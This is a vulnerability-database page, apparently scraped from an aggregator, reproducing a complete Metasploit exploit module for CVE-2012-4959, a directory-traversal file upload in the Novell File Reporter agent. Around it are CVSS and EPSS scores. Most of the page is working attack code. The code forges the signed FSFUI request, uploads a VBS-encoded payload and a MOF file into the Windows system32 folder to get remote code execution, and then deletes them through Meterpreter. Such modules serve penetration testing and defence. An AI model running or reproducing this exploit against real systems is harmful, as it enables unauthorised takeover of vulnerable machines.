Lucene search

K
metasploitJuan vazquez <[email protected]>MSF:EXPLOIT-WINDOWS-NOVELL-FILE_REPORTER_FSFUI_UPLOAD-
HistoryNov 16, 2012 - 3:03 p.m.

NFR Agent FSFUI Record File Upload RCE

2012-11-1615:03:09
juan vazquez <[email protected]>
www.rapid7.com
27

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.756 High

EPSS

Percentile

98.2%

NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload arbitrary files via a directory traversal while handling requests to /FSF/CMD with FSFUI records with UICMD 130. This module has been tested successfully against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NFR Agent FSFUI Record File Upload RCE',
        'Description' => %q{
          NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload
          arbitrary files via a directory traversal while handling requests to /FSF/CMD with
          FSFUI records with UICMD 130. This module has been tested successfully against NFR
          Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'juan vazquez'
        ],
        'References' => [
          [ 'CVE', '2012-4959'],
          [ 'OSVDB', '87573' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
        ],
        'Payload' => {
          'Space' => 2048,
          'StackAdjustment' => -3500
        },
        'DefaultOptions' => {
          'WfsDelay' => 20
        },
        'Platform' => 'win',
        'Targets' => [
          # Windows before Vista
          [ 'Automatic', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-11-16',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )

    register_options(
      [
        Opt::RPORT(3037),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptInt.new('DEPTH', [true, 'Traversal depth', 6])
      ]
    )

    self.needs_cleanup = true
  end

  def on_new_session(client)
    return if not @var_mof_name
    return if not @var_vbs_name

    if client.type != "meterpreter"
      print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.")
      print_error("The following files must be removed manually:")
      print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs")
      print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)")
      return # That's it
    end

    # stdapi must be loaded before we can use fs.file
    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

    begin
      print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...")
      windir = client.sys.config.getenv('WINDIR')
      client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs")
      print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...")
      cmd = "#{windir}\\system32\\attrib.exe -r " +
            "#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
      client.sys.process.execute(cmd, nil, { 'Hidden' => true })
      client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
    rescue ::Exception => e
      print_error("Exception: #{e.inspect}")
    end
  end

  def exploit
    # In order to save binary data to the file system the payload is written to a .vbs
    # file and execute it from there.
    @var_mof_name = rand_text_alpha(rand(5) + 5)
    @var_vbs_name = rand_text_alpha(rand(5) + 5)

    print_status("Encoding payload into VBS...")
    payload = generate_payload_exe
    vbs_content = Msf::Util::EXE.to_exe_vbs(payload)

    print_status("Generating VBS file...")
    mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")

    print_status("Uploading the VBS file")
    worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content)
    unless worked
      fail_with(Failure::NotVulnerable, "Failed to upload the file")
    end

    print_status("Uploading the MOF file")
    upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content)
  end

  def upload_file(filename, content)
    traversal = "..\\" * datastore['DEPTH']
    traversal << filename

    record = "<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>#{traversal}</FILE><![CDATA[#{content}]]></RECORD>"
    md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
    message = md5 + record

    res = send_request_cgi(
      {
        'uri' => '/FSF/CMD',
        'version' => '1.1',
        'method' => 'POST',
        'ctype' => "text/xml",
        'data' => message
      }
    )

    if res and res.code == 200 and res.body.include? "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>"
      print_warning("File successfully uploaded: #{filename}")
    else
      print_error("Failed to upload the file")
      return false
    end

    true
  end
end

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.756 High

EPSS

Percentile

98.2%